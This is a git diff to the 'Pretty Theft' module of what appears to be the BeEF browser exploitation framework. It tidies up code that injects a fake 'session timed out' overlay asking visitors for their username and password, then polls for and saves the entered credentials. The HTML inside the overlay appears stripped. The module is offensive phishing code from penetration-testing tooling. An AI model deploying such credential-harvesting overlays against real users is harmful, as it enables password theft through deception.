diff --git a/modules/misc/pretty_theft/command.js b/modules/misc/pretty_theft/command.js index 9e06ee561..92c3a08e1 100644 --- a/modules/misc/pretty_theft/command.js +++ b/modules/misc/pretty_theft/command.js @@ -95,6 +95,8 @@ beef.execute(function() { // lighten screen grayOut(false); clearInterval(credgrabber); + $j('#hax').remove(); + $j('#darkenScreenObject').remove(); } } @@ -106,7 +108,7 @@ beef.execute(function() { sneakydiv.setAttribute('style', 'width:400px;height:320px;position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000'); sneakydiv.setAttribute('align', 'center'); document.body.appendChild(sneakydiv); - sneakydiv.innerHTML= '

Your session has timed out!

For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.

Username:
Password:

'; + sneakydiv.innerHTML= '

Your session has timed out!

For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.

Username:
Password:

'; credgrabber = setInterval(checker,1000); } diff --git a/modules/misc/pretty_theft/config.yaml b/modules/misc/pretty_theft/config.yaml index ae8f0f078..af23220e5 100644 --- a/modules/misc/pretty_theft/config.yaml +++ b/modules/misc/pretty_theft/config.yaml @@ -20,6 +20,6 @@ beef: category: "Misc" name: "Pretty Theft" description: "Asks the user for their username and password using a tidy floating div." - authors: ["vt [nick.freeman@security-assessment.com]"] + authors: ["vt [nick.freeman@security-assessment.com]", "xntrik"] target: user_notify: ['ALL'] diff --git a/modules/misc/pretty_theft/module.rb b/modules/misc/pretty_theft/module.rb index de6441b3b..8c2095c75 100644 --- a/modules/misc/pretty_theft/module.rb +++ b/modules/misc/pretty_theft/module.rb @@ -26,9 +26,6 @@ class Pretty_theft < BeEF::Core::Command # data back to the framework. # def post_execute - -# return if @datastore['answer']=='' - save({'answer' => @datastore['answer']}) end